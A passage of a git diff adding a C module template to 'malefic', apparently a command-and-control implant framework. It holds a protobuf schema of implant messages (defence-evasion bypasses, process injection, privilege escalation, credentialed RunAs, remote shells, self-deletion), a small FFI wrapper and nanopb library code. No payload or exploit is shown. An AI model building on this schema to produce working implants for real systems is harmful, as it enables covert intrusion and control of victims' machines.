malefic_EnumDriversResponse_size 3008 +#define malefic_ExecRequest_size 8526 +#define malefic_ExecResponse_size 8217 +#define malefic_ExecuteCommand_size 531 +#define malefic_FFmpegRequest_size 519 +#define malefic_FileInfo_size 546 +#define malefic_GetSystem_size 4105 +#define malefic_IfconfigResponse_size 38944 +#define malefic_Init_size 4099 +#define malefic_Inject_size 4105 +#define malefic_KeyExchangeRequest_size 593 +#define malefic_KeyExchangeResponse_size 258 +#define malefic_LoadAddon_size 4424 +#define malefic_LoadModule_size 4357 +#define malefic_LsResponse_size 70532 +#define malefic_Modules_size 16512 +#define malefic_NetInterface_size 1214 +#define malefic_NetstatResponse_size 51200 +#define malefic_Os_size 1268 +#define malefic_Ping_size 11 +#define malefic_PipeRequest_size 4427 +#define malefic_Pipe_size 4359 +#define malefic_Process_size 886 +#define malefic_PsResponse_size 455168 +#define malefic_Register_size 30933 +#define malefic_RegistryRequest_size 649 +#define malefic_RegistryWriteRequest_size 4961 +#define malefic_Registry_size 581 +#define malefic_RunAsRequest_size 1040 +#define malefic_SacrificeProcess_size 270 +#define malefic_Secure_size 583 +#define malefic_ServiceConfig_size 916 +#define malefic_ServiceRequest_size 984 +#define malefic_ServiceStatus_size 30 +#define malefic_Service_size 951 +#define malefic_ServicesResponse_size 122112 +#define malefic_SockTabEntry_size 197 +#define malefic_Suicide_size 22 +#define malefic_Switch_size 4128 +#define malefic_SysInfo_size 2678 +#define malefic_TaskCtrl_size 71 +#define malefic_TaskInfo_size 29 +#define malefic_TaskListResponse_size 3968 +#define malefic_TaskScheduleRequest_size 1303 +#define malefic_TaskSchedule_size 1235 +#define malefic_TaskSchedulesResponse_size 79232 +#define malefic_Timer_size 139 +#define malefic_UploadRequest_size 4625 +#define malefic_WmiQueryRequest_size 4386 + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.proto b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.proto new file mode 100644 index 0000000..6e73d4f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.proto @@ -0,0 +1,483 @@ +syntax = "proto3"; +package malefic; + +option go_package = "./malefic"; + + +message Ping{ + int32 nonce = 1; +} + +message Register { + string name = 1; + string proxy = 2; + repeated string module = 3; + repeated Addon addons = 4; + Timer timer = 5; + SysInfo sysinfo = 11; + Secure secure = 12; // Implant's public key, used by server to encrypt data +} + +message Secure{ + bool enable = 1; + string key = 2; // encryption key + string type = 3; // encryption type + string public_key = 4; // Implant's public key, used by server to encrypt data +} + + +// Age key exchange related messages +message KeyExchangeRequest { + string public_key = 1; // Temporary public key (Age X25519) + bytes signature = 2; // Signature of temporary public key + uint64 timestamp = 3; // Timestamp + string nonce = 4; // Nonce +} + +message KeyExchangeResponse { + string public_key = 1; // Server temporary public key +} + +message Init{ + bytes data = 1; +} + +message SysInfo { + string filepath = 1; + string workdir = 2; + bool is_privilege = 3; + Os os = 11; + Process process = 12; +} + +message Suicide { + int32 type = 1; + int64 timestamp = 2; +} + + +// common empty request +message Request { + string name = 1; + string input = 2; + repeated string args = 3; + map params = 4; + bytes bin = 5; +} + +message Response { + string output = 1; + string error = 2; + map kv = 3; + repeated string array =4; +} + + +message BypassRequest{ + bool ETW = 1; + bool AMSI = 2; + bool block_dll = 3; +} + +message NetInterface { + int32 index = 1; + string name = 2; + string mac = 3; + repeated string ip_addresses = 4; +} + +message SockTabEntry { + string local_addr = 1; + string remote_addr = 2; + string skState = 3; + // uint32 uid = 4; + string pid = 5; + string protocol = 6; +} + +message NetstatResponse { + repeated SockTabEntry socks = 1; +} + + +message Block{ + uint32 block_id = 1; + bytes content = 2; + bool end = 3; +} + +message ACK { + uint32 id = 1; + bool success = 2; + bool end = 3; +} + +message Os { + string name = 1; + string version = 2; // kernel version + string release = 3; // release version + string arch = 4; + string username = 5; + string hostname = 6; + string locale = 7; // timezone + repeated string clr_version = 8; +} + +message Process { + string name = 1; + uint32 pid = 2; + uint32 ppid = 3; + string owner = 4; + string arch = 5; + string path = 6; + string args = 7; + string uid = 8; +} + +message Timer { + string expression = 1; + double jitter = 2; +} + +message FileInfo { + string Name = 1; + bool IsDir = 2; + uint64 Size = 3; + int64 ModTime = 4; + uint32 Mode = 5; + string Link = 6; +} + +message SacrificeProcess { + bool hidden = 1; + bool block_dll = 2; + bool etw = 3; + uint32 ppid = 4; + string argue = 5; +} + +message LsResponse { + string Path = 1; + bool Exists = 2; + repeated FileInfo Files = 3; +} + +message DriveInfo { + string path = 1; // "C:\\" + string drive_type = 2; // "Fixed drive" + uint64 total_size = 3; // + uint64 free_size = 4; // + string file_system = 5; // "NTFS" +} + +message EnumDriversResponse { + repeated DriveInfo drives = 1; +} + +message PsResponse{ + repeated Process processes = 1; +} + +message ExecRequest { + string path = 1; + repeated string args = 2; + bool output = 3; + bool singleton = 4; + bool realtime = 5; + uint32 ppid = 10; +} + +message ExecResponse { + int32 status_code = 1; + bytes stdout = 2; + bytes stderr = 3; + uint32 pid = 4; + bool end = 5; +} + +message BinaryResponse { + bytes data = 1; // common return, bof BeaconOutput + bytes message = 2; // bof BeaconPrintf + string err = 4; + int32 status = 3; +} + +message Modules { + repeated string modules = 1; + map bundle_map = 2; +} + + +message Addons { + repeated Addon addons = 1; +} + +message Addon { + string name = 1; + string type = 2; + string depend = 3; +} + +message LoadModule{ + string bundle = 1; + bytes bin = 2; +} + +message LoadAddon{ + string name = 1; + string type = 2; + string depend = 3; + bytes bin = 4; +} + +message ExecuteAddon { + string addon = 1; + ExecuteBinary execute_binary = 2; +} + +message ExecuteBinary { + string name = 1; + bytes bin = 2; + map param = 3; + string type = 4; + string process_name = 5; + repeated string args = 6; + string entry_point = 7; + bytes data = 8; + bool output = 9; + uint32 arch = 10; + uint32 timeout = 11; + SacrificeProcess sacrifice = 12; + string path = 13; + string context = 14; + uint32 delay = 15; //millisecond +} + +message ExecuteCommand { + string command = 1; + SacrificeProcess sacrifice = 2; +} + +message UploadRequest { + string name = 1; + string target = 2; + uint32 priv = 3; + bytes data = 4; + bool hidden = 5; + bool override = 6; +} + +message DownloadRequest { + string path = 1; + string name = 2; + uint32 buffer_size = 3; + bool dir = 4; + int32 cur = 5; +} + +message DownloadResponse{ + string checksum = 1; + uint64 size = 2; + int32 cur = 3; + bytes content = 4; +} + +message CurlRequest{ + string url = 1; + int32 timeout = 2; + string method = 3; + bytes body = 4; + map header =5; + string hostname = 6; +} + +message ChownRequest{ + string path = 1; + string uid = 2; + string gid = 3; + bool recursive = 4; +} + +message IfconfigResponse { + repeated NetInterface net_interfaces = 1; +} + +// wrap for client +message RegistryRequest { + string type = 1; + Registry registry = 2; +} + +message Registry { + string hive = 1; + string path = 2; + string key = 3; +} + +message RegistryWriteRequest { + string hive = 1; + string path = 2; + string key = 3; + string string_value = 5; + bytes byte_value = 6; + uint32 dword_value = 7; + uint64 qword_value = 8; + uint32 regtype = 10; +} + +message TaskScheduleRequest { + string type = 1; + TaskSchedule taskschd = 2; +} + +message TaskSchedule { + string name = 1; + string path = 2; + string executable_path = 3; + uint32 trigger_type = 4; + string start_boundary = 5; + string description = 6; + bool enabled = 7; + string last_run_time = 8; + string next_run_time = 9; +} + + +message TaskSchedulesResponse { + repeated TaskSchedule schedules = 1; +} + +// wrap for client +message ServiceRequest { + string type = 1; + ServiceConfig service = 2; +} + +message ServiceConfig { + string name = 1; + string display_name = 2; + string executable_path = 3; + uint32 start_type = 4; + uint32 error_control = 5; + string account_name = 6; +} + +message ServiceStatus { + uint32 current_state = 1; + uint32 process_id = 2; + uint32 exit_code = 3; + uint32 checkpoint = 4; + uint32 wait_hint = 5; +} + +message Service { + ServiceConfig config = 1; + ServiceStatus status = 2; +} + +message ServicesResponse { + repeated Service services = 1; +} + +message WmiQueryRequest { + string namespace = 1; + repeated string args = 2; +} + +message WmiMethodRequest { + string namespace = 1; + string class_name = 2; + string method_name = 3; + map params = 4; +} + +message RunAsRequest { + string username = 1; // Username to execute as + string domain = 2; // User domain + string password = 3; // User password + string program = 4; // Program path + string args = 5; // Program arguments (optional) + bool use_profile = 6; + bool netonly = 7; // Use network credentials only (optional, default false) + bool use_env = 8; +} + +message GetSystem{ + bytes bin = 1; + uint32 pid = 2; +} + +message Inject{ + bytes bin = 1; + uint32 pid = 2; +} + +message Pipe { + string name = 1; + string target = 2; + bytes data = 4; +} + +message PipeRequest { + string type = 1; + Pipe pipe = 2; +} + +message Switch { + repeated string urls = 1; +} + +message TaskCtrl{ + uint32 task_id = 1; + string op = 2; +} + +message TaskInfo { + uint32 task_id = 1; + uint64 last = 2; + uint32 recv_count = 3; + uint32 send_count = 4; +} + +message TaskListResponse { + repeated TaskInfo tasks = 1; +} + +message FFmpegRequest { + string action = 1; + string device_name = 2; + string output_format = 3; + string output_path = 4; + string time = 5; +} + +// PTY +message PtyRequest { + string type = 1; // type: "start", "input", "stop" + string session_id = 2; // + string shell = 3; // shell type: "/bin/bash", "cmd.exe", "powershell.exe" + uint32 cols = 4; // + uint32 rows = 5; // + bytes input_data = 6; // + string input_text = 7; // + map params = 8; // +} + +message PtyResponse { + string session_id = 1; // Session ID + bytes output_data = 2; // Output data (binary) + string output_text = 3; // Output data (text) + string error = 4; // Error message + bool session_active = 5; // Whether session is still active + repeated string active_sessions = 6; + map metadata = 7; +} + +message CommonBody { + string name = 1; + repeated uint32 u32_array = 2; + repeated uint64 u64_array = 4; + repeated bool bool_array = 6; + repeated string string_array = 8; + repeated bytes bytes_array = 10; +} diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/module.c b/malefic-3rd-template/malefic-3rd-c/src/c/module.c new file mode 100644 index 0000000..88bc456 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/module.c @@ -0,0 +1,19 @@ +#include "module.h" + +/* + * FFI exports — delegates to the registered module. + */ + +const char* CModuleName(void) { + return module_name(); +} + +int CModuleHandle(uint32_t task_id, + const char* req_data, int req_len, + char** resp_data, int* resp_len) { + module_handler_fn handler = module_handler(); + if (!handler) { + return -1; + } + return handler(task_id, req_data, req_len, resp_data, resp_len); +} diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/module.h b/malefic-3rd-template/malefic-3rd-c/src/c/module.h new file mode 100644 index 0000000..c79f4ca --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/module.h @@ -0,0 +1,54 @@ +#ifndef MALEFIC_MODULE_H +#define MALEFIC_MODULE_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * C Module Interface for malefic-3rd-c + * + * CModuleName returns a static string (do NOT free). + * CModuleHandle receives a serialized protobuf Request and returns a serialized Response. + * The response buffer is malloc'd; Rust frees it via free(). + */ + +/* Returns the module name (static string, caller must NOT free). */ +const char* CModuleName(void); + +/* + * Synchronous handler. + * task_id : task identifier + * req_data : serialized protobuf Request + * req_len : length of req_data + * resp_data: [out] pointer to malloc'd response buffer + * resp_len : [out] length of response buffer + * + * Returns 0 on success, non-zero on error. + */ +int CModuleHandle(uint32_t task_id, + const char* req_data, int req_len, + char** resp_data, int* resp_len); + +/* + * Module registration callback. + * Called by module.c framework — each module implements this to populate + * the handler function pointer. + */ + +/* Handler function type: same signature as CModuleHandle */ +typedef int (*module_handler_fn)(uint32_t task_id, + const char* req_data, int req_len, + char** resp_data, int* resp_len); + +/* Implemented by each module (e.g. example.c) */ +const char* module_name(void); +module_handler_fn module_handler(void); + +#ifdef __cplusplus +} +#endif + +#endif /* MALEFIC_MODULE_H */ diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb.h b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb.h new file mode 100644 index 0000000..10249bb --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb.h @@ -0,0 +1,922 @@ +/* Common parts of the nanopb library. Most of these are quite low-level + * stuff. For the high-level interface, see pb_encode.h and pb_decode.h. + */ + +#ifndef PB_H_INCLUDED +#define PB_H_INCLUDED + +/***************************************************************** + * Nanopb compilation time options. You can change these here by * + * uncommenting the lines, or on the compiler command line. * + *****************************************************************/ + +/* Enable support for dynamically allocated fields */ +/* #define PB_ENABLE_MALLOC 1 */ + +/* Define this if your CPU / compiler combination does not support + * unaligned memory access to packed structures. Note that packed + * structures are only used when requested in .proto options. */ +/* #define PB_NO_PACKED_STRUCTS 1 */ + +/* Increase the number of required fields that are tracked. + * A compiler warning will tell if you need this. */ +/* #define PB_MAX_REQUIRED_FIELDS 256 */ + +/* Add support for tag numbers > 65536 and fields larger than 65536 bytes. */ +/* #define PB_FIELD_32BIT 1 */ + +/* Disable support for error messages in order to save some code space. */ +/* #define PB_NO_ERRMSG 1 */ + +/* Disable support for custom streams (support only memory buffers). */ +/* #define PB_BUFFER_ONLY 1 */ + +/* Disable support for 64-bit datatypes, for compilers without int64_t + or to save some code space. */ +/* #define PB_WITHOUT_64BIT 1 */ + +/* Don't encode scalar arrays as packed. This is only to be used when + * the decoder on the receiving side cannot process packed scalar arrays. + * Such example is older protobuf.js. */ +/* #define PB_ENCODE_ARRAYS_UNPACKED 1 */ + +/* Enable conversion of doubles to floats for platforms that do not + * support 64-bit doubles. Most commonly AVR. */ +/* #define PB_CONVERT_DOUBLE_FLOAT 1 */ + +/* Check whether incoming strings are valid UTF-8 sequences. Slows down + * the string processing slightly and slightly increases code size. */ +/* #define PB_VALIDATE_UTF8 1 */ + +/* This can be defined if the platform is little-endian and has 8-bit bytes. + * Normally it is automatically detected based on __BYTE_ORDER__ macro. */ +/* #define PB_LITTLE_ENDIAN_8BIT 1 */ + +/* Configure static assert mechanism. Instead of changing these, set your + * compiler to C11 standard mode if possible. */ +/* #define PB_C99_STATIC_ASSERT 1 */ +/* #define PB_NO_STATIC_ASSERT 1 */ + +/****************************************************************** + * You usually don't need to change anything below this line. * + * Feel free to look around and use the defined macros, though. * + ******************************************************************/ + + +/* Version of the nanopb library. Just in case you want to check it in + * your own program. */ +#define NANOPB_VERSION "nanopb-0.4.9.1" + +/* Include all the system headers needed by nanopb. You will need the + * definitions of the following: + * - strlen, memcpy, memset functions + * - [u]int_least8_t, uint_fast8_t, [u]int_least16_t, [u]int32_t, [u]int64_t + * - size_t + * - bool + * + * If you don't have the standard header files, you can instead provide + * a custom header that defines or includes all this. In that case, + * define PB_SYSTEM_HEADER to the path of this file. + */ +#ifdef PB_SYSTEM_HEADER +#include PB_SYSTEM_HEADER +#else +#include +#include +#include +#include +#include + +#ifdef PB_ENABLE_MALLOC +#include +#endif +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* Macro for defining packed structures (compiler dependent). + * This just reduces memory requirements, but is not required. + */ +#if defined(PB_NO_PACKED_STRUCTS) + /* Disable struct packing */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed +#elif defined(__GNUC__) || defined(__clang__) + /* For GCC and clang */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed __attribute__((packed)) +#elif defined(__ICCARM__) || defined(__CC_ARM) + /* For IAR ARM and Keil MDK-ARM compilers */ +# define PB_PACKED_STRUCT_START _Pragma("pack(push, 1)") +# define PB_PACKED_STRUCT_END _Pragma("pack(pop)") +# define pb_packed +#elif defined(_MSC_VER) && (_MSC_VER >= 1500) + /* For Microsoft Visual C++ */ +# define PB_PACKED_STRUCT_START __pragma(pack(push, 1)) +# define PB_PACKED_STRUCT_END __pragma(pack(pop)) +# define pb_packed +#else + /* Unknown compiler */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed +#endif + +/* Detect endianness */ +#ifndef PB_LITTLE_ENDIAN_8BIT +#if ((defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN) || \ + (defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__) || \ + defined(__LITTLE_ENDIAN__) || defined(__ARMEL__) || \ + defined(__THUMBEL__) || defined(__AARCH64EL__) || defined(_MIPSEL) || \ + defined(_M_IX86) || defined(_M_X64) || defined(_M_ARM)) \ + && CHAR_BIT == 8 +#define PB_LITTLE_ENDIAN_8BIT 1 +#endif +#endif + +/* Handly macro for suppressing unreferenced-parameter compiler warnings. */ +#ifndef PB_UNUSED +#define PB_UNUSED(x) (void)(x) +#endif + +/* Harvard-architecture processors may need special attributes for storing + * field information in program memory. */ +#ifndef PB_PROGMEM +#ifdef __AVR__ +#include +#define PB_PROGMEM PROGMEM +#define PB_PROGMEM_READU32(x) pgm_read_dword(&x) +#else +#define PB_PROGMEM +#define PB_PROGMEM_READU32(x) (x) +#endif +#endif + +/* Compile-time assertion, used for checking compatible compilation options. + * If this does not work properly on your compiler, use + * #define PB_NO_STATIC_ASSERT to disable it. + * + * But before doing that, check carefully the error message / place where it + * comes from to see if the error has a real cause. Unfortunately the error + * message is not always very clear to read, but you can see the reason better + * in the place where the PB_STATIC_ASSERT macro was called. + */ +#ifndef PB_NO_STATIC_ASSERT +# ifndef PB_STATIC_ASSERT +# if defined(__ICCARM__) + /* IAR has static_assert keyword but no _Static_assert */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# elif defined(_MSC_VER) && (!defined(__STDC_VERSION__) || __STDC_VERSION__ < 201112) + /* MSVC in C89 mode supports static_assert() keyword anyway */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# elif defined(PB_C99_STATIC_ASSERT) + /* Classic negative-size-array static assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) typedef char PB_STATIC_ASSERT_MSG(MSG, __LINE__, __COUNTER__)[(COND)?1:-1]; +# define PB_STATIC_ASSERT_MSG(MSG, LINE, COUNTER) PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER) +# define PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER) pb_static_assertion_##MSG##_##LINE##_##COUNTER +# elif defined(__cplusplus) + /* C++11 standard static_assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# else + /* C11 standard _Static_assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) _Static_assert(COND,#MSG); +# endif +# endif +#else + /* Static asserts disabled by PB_NO_STATIC_ASSERT */ +# define PB_STATIC_ASSERT(COND,MSG) +#endif + +/* Test that PB_STATIC_ASSERT works + * If you get errors here, you may need to do one of these: + * - Enable C11 standard support in your compiler + * - Define PB_C99_STATIC_ASSERT to enable C99 standard support + * - Define PB_NO_STATIC_ASSERT to disable static asserts altogether + */ +PB_STATIC_ASSERT(1, STATIC_ASSERT_IS_NOT_WORKING) + +/* Number of required fields to keep track of. */ +#ifndef PB_MAX_REQUIRED_FIELDS +#define PB_MAX_REQUIRED_FIELDS 64 +#endif + +#if PB_MAX_REQUIRED_FIELDS < 64 +#error You should not lower PB_MAX_REQUIRED_FIELDS from the default value (64). +#endif + +#ifdef PB_WITHOUT_64BIT +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Cannot use doubles without 64-bit types */ +#undef PB_CONVERT_DOUBLE_FLOAT +#endif +#endif + +/* Data type for storing encoded data and other byte streams. + * This typedef exists to support platforms where uint8_t does not exist. + * You can regard it as equivalent on uint8_t on other platforms. + */ +#if defined(PB_BYTE_T_OVERRIDE) +typedef PB_BYTE_T_OVERRIDE pb_byte_t; +#elif defined(UINT8_MAX) +typedef uint8_t pb_byte_t; +#else +typedef uint_least8_t pb_byte_t; +#endif + +/* List of possible field types. These are used in the autogenerated code. + * Least-significant 4 bits tell the scalar type + * Most-significant 4 bits specify repeated/required/packed etc. + */ +typedef pb_byte_t pb_type_t; + +/**** Field data types ****/ + +/* Numeric types */ +#define PB_LTYPE_BOOL 0x00U /* bool */ +#define PB_LTYPE_VARINT 0x01U /* int32, int64, enum, bool */ +#define PB_LTYPE_UVARINT 0x02U /* uint32, uint64 */ +#define PB_LTYPE_SVARINT 0x03U /* sint32, sint64 */ +#define PB_LTYPE_FIXED32 0x04U /* fixed32, sfixed32, float */ +#define PB_LTYPE_FIXED64 0x05U /* fixed64, sfixed64, double */ + +/* Marker for last packable field type. */ +#define PB_LTYPE_LAST_PACKABLE 0x05U + +/* Byte array with pre-allocated buffer. + * data_size is the length of the allocated PB_BYTES_ARRAY structure. */ +#define PB_LTYPE_BYTES 0x06U + +/* String with pre-allocated buffer. + * data_size is the maximum length. */ +#define PB_LTYPE_STRING 0x07U + +/* Submessage + * submsg_fields is pointer to field descriptions */ +#define PB_LTYPE_SUBMESSAGE 0x08U + +/* Submessage with pre-decoding callback + * The pre-decoding callback is stored as pb_callback_t right before pSize. + * submsg_fields is pointer to field descriptions */ +#define PB_LTYPE_SUBMSG_W_CB 0x09U + +/* Extension pseudo-field + * The field contains a pointer to pb_extension_t */ +#define PB_LTYPE_EXTENSION 0x0AU + +/* Byte array with inline, pre-allocated byffer. + * data_size is the length of the inline, allocated buffer. + * This differs from PB_LTYPE_BYTES by defining the element as + * pb_byte_t[data_size] rather than pb_bytes_array_t. */ +#define PB_LTYPE_FIXED_LENGTH_BYTES 0x0BU + +/* Number of declared LTYPES */ +#define PB_LTYPES_COUNT 0x0CU +#define PB_LTYPE_MASK 0x0FU + +/**** Field repetition rules ****/ + +#define PB_HTYPE_REQUIRED 0x00U +#define PB_HTYPE_OPTIONAL 0x10U +#define PB_HTYPE_SINGULAR 0x10U +#define PB_HTYPE_REPEATED 0x20U +#define PB_HTYPE_FIXARRAY 0x20U +#define PB_HTYPE_ONEOF 0x30U +#define PB_HTYPE_MASK 0x30U + +/**** Field allocation types ****/ + +#define PB_ATYPE_STATIC 0x00U +#define PB_ATYPE_POINTER 0x80U +#define PB_ATYPE_CALLBACK 0x40U +#define PB_ATYPE_MASK 0xC0U + +#define PB_ATYPE(x) ((x) & PB_ATYPE_MASK) +#define PB_HTYPE(x) ((x) & PB_HTYPE_MASK) +#define PB_LTYPE(x) ((x) & PB_LTYPE_MASK) +#define PB_LTYPE_IS_SUBMSG(x) (PB_LTYPE(x) == PB_LTYPE_SUBMESSAGE || \ + PB_LTYPE(x) == PB_LTYPE_SUBMSG_W_CB) + +/* Data type used for storing sizes of struct fields + * and array counts. + */ +#if defined(PB_FIELD_32BIT) + typedef uint32_t pb_size_t; + typedef int32_t pb_ssize_t; +#else + typedef uint_least16_t pb_size_t; + typedef int_least16_t pb_ssize_t; +#endif +#define PB_SIZE_MAX ((pb_size_t)-1) + +/* Forward declaration of struct types */ +typedef struct pb_istream_s pb_istream_t; +typedef struct pb_ostream_s pb_ostream_t; +typedef struct pb_field_iter_s pb_field_iter_t; + +/* This structure is used in auto-generated constants + * to specify struct fields. + */ +typedef struct pb_msgdesc_s pb_msgdesc_t; +struct pb_msgdesc_s { + const uint32_t *field_info; + const pb_msgdesc_t * const * submsg_info; + const pb_byte_t *default_value; + + bool (*field_callback)(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_iter_t *field); + + pb_size_t field_count; + pb_size_t required_field_count; + pb_size_t largest_tag; +}; + +/* Iterator for message descriptor */ +struct pb_field_iter_s { + const pb_msgdesc_t *descriptor; /* Pointer to message descriptor constant */ + void *message; /* Pointer to start of the structure */ + + pb_size_t index; /* Index of the field */ + pb_size_t field_info_index; /* Index to descriptor->field_info array */ + pb_size_t required_field_index; /* Index that counts only the required fields */ + pb_size_t submessage_index; /* Index that counts only submessages */ + + pb_size_t tag; /* Tag of current field */ + pb_size_t data_size; /* sizeof() of a single item */ + pb_size_t array_size; /* Number of array entries */ + pb_type_t type; /* Type of current field */ + + void *pField; /* Pointer to current field in struct */ + void *pData; /* Pointer to current data contents. Different than pField for arrays and pointers. */ + void *pSize; /* Pointer to count/has field */ + + const pb_msgdesc_t *submsg_desc; /* For submessage fields, pointer to field descriptor for the submessage. */ +}; + +/* For compatibility with legacy code */ +typedef pb_field_iter_t pb_field_t; + +/* Make sure that the standard integer types are of the expected sizes. + * Otherwise fixed32/fixed64 fields can break. + * + * If you get errors here, it probably means that your stdint.h is not + * correct for your platform. + */ +#ifndef PB_WITHOUT_64BIT +PB_STATIC_ASSERT(sizeof(int64_t) == 2 * sizeof(int32_t), INT64_T_WRONG_SIZE) +PB_STATIC_ASSERT(sizeof(uint64_t) == 2 * sizeof(uint32_t), UINT64_T_WRONG_SIZE) +#endif + +/* This structure is used for 'bytes' arrays. + * It has the number of bytes in the beginning, and after that an array. + * Note that actual structs used will have a different length of bytes array. + */ +#define PB_BYTES_ARRAY_T(n) struct { pb_size_t size; pb_byte_t bytes[n]; } +#define PB_BYTES_ARRAY_T_ALLOCSIZE(n) ((size_t)n + offsetof(pb_bytes_array_t, bytes)) + +struct pb_bytes_array_s { + pb_size_t size; + pb_byte_t bytes[1]; +}; +typedef struct pb_bytes_array_s pb_bytes_array_t; + +/* This structure is used for giving the callback function. + * It is stored in the message structure and filled in by the method that + * calls pb_decode. + * + * The decoding callback will be given a limited-length stream + * If the wire type was string, the length is the length of the string. + * If the wire type was a varint/fixed32/fixed64, the length is the length + * of the actual value. + * The function may be called multiple times (especially for repeated types, + * but also otherwise if the message happens to contain the field multiple + * times.) + * + * The encoding callback will receive the actual output stream. + * It should write all the data in one call, including the field tag and + * wire type. It can write multiple fields. + * + * The callback can be null if you want to skip a field. + */ +typedef struct pb_callback_s pb_callback_t; +struct pb_callback_s { + /* Callback functions receive a pointer to the arg field. + * You can access the value of the field as *arg, and modify it if needed. + */ + union { + bool (*decode)(pb_istream_t *stream, const pb_field_t *field, void **arg); + bool (*encode)(pb_ostream_t *stream, const pb_field_t *field, void * const *arg); + } funcs; + + /* Free arg for use by callback */ + void *arg; +}; + +extern bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field); + +/* Wire types. Library user needs these only in encoder callbacks. */ +typedef enum { + PB_WT_VARINT = 0, + PB_WT_64BIT = 1, + PB_WT_STRING = 2, + PB_WT_32BIT = 5, + PB_WT_PACKED = 255 /* PB_WT_PACKED is internal marker for packed arrays. */ +} pb_wire_type_t; + +/* Structure for defining the handling of unknown/extension fields. + * Usually the pb_extension_type_t structure is automatically generated, + * while the pb_extension_t structure is created by the user. However, + * if you want to catch all unknown fields, you can also create a custom + * pb_extension_type_t with your own callback. + */ +typedef struct pb_extension_type_s pb_extension_type_t; +typedef struct pb_extension_s pb_extension_t; +struct pb_extension_type_s { + /* Called for each unknown field in the message. + * If you handle the field, read off all of its data and return true. + * If you do not handle the field, do not read anything and return true. + * If you run into an error, return false. + * Set to NULL for default handler. + */ + bool (*decode)(pb_istream_t *stream, pb_extension_t *extension, + uint32_t tag, pb_wire_type_t wire_type); + + /* Called once after all regular fields have been encoded. + * If you have something to write, do so and return true. + * If you do not have anything to write, just return true. + * If you run into an error, return false. + * Set to NULL for default handler. + */ + bool (*encode)(pb_ostream_t *stream, const pb_extension_t *extension); + + /* Free field for use by the callback. */ + const void *arg; +}; + +struct pb_extension_s { + /* Type describing the extension field. Usually you'll initialize + * this to a pointer to the automatically generated structure. */ + const pb_extension_type_t *type; + + /* Destination for the decoded data. This must match the datatype + * of the extension field. */ + void *dest; + + /* Pointer to the next extension handler, or NULL. + * If this extension does not match a field, the next handler is + * automatically called. */ + pb_extension_t *next; + + /* The decoder sets this to true if the extension was found. + * Ignored for encoding. */ + bool found; +}; + +#define pb_extension_init_zero {NULL,NULL,NULL,false} + +/* Memory allocation functions to use. You can define pb_realloc and + * pb_free to custom functions if you want. */ +#ifdef PB_ENABLE_MALLOC +# ifndef pb_realloc +# define pb_realloc(ptr, size) realloc(ptr, size) +# endif +# ifndef pb_free +# define pb_free(ptr) free(ptr) +# endif +#endif + +/* This is used to inform about need to regenerate .pb.h/.pb.c files. */ +#define PB_PROTO_HEADER_VERSION 40 + +/* These macros are used to declare pb_field_t's in the constant array. */ +/* Size of a structure member, in bytes. */ +#define pb_membersize(st, m) (sizeof ((st*)0)->m) +/* Number of entries in an array. */ +#define pb_arraysize(st, m) (pb_membersize(st, m) / pb_membersize(st, m[0])) +/* Delta from start of one member to the start of another member. */ +#define pb_delta(st, m1, m2) ((int)offsetof(st, m1) - (int)offsetof(st, m2)) + +/* Force expansion of macro value */ +#define PB_EXPAND(x) x + +/* Binding of a message field set into a specific structure */ +#define PB_BIND(msgname, structname, width) \ + const uint32_t structname ## _field_info[] PB_PROGMEM = \ + { \ + msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ ## width, structname) \ + 0 \ + }; \ + const pb_msgdesc_t* const structname ## _submsg_info[] = \ + { \ + msgname ## _FIELDLIST(PB_GEN_SUBMSG_INFO, structname) \ + NULL \ + }; \ + const pb_msgdesc_t structname ## _msg = \ + { \ + structname ## _field_info, \ + structname ## _submsg_info, \ + msgname ## _DEFAULT, \ + msgname ## _CALLBACK, \ + 0 msgname ## _FIELDLIST(PB_GEN_FIELD_COUNT, structname), \ + 0 msgname ## _FIELDLIST(PB_GEN_REQ_FIELD_COUNT, structname), \ + 0 msgname ## _FIELDLIST(PB_GEN_LARGEST_TAG, structname), \ + }; \ + msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ASSERT_ ## width, structname) + +#define PB_GEN_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) +1 +#define PB_GEN_REQ_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) \ + + (PB_HTYPE_ ## htype == PB_HTYPE_REQUIRED) +#define PB_GEN_LARGEST_TAG(structname, atype, htype, ltype, fieldname, tag) \ + * 0 + tag + +/* X-macro for generating the entries in struct_field_info[] array. */ +#define PB_GEN_FIELD_INFO_1(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | 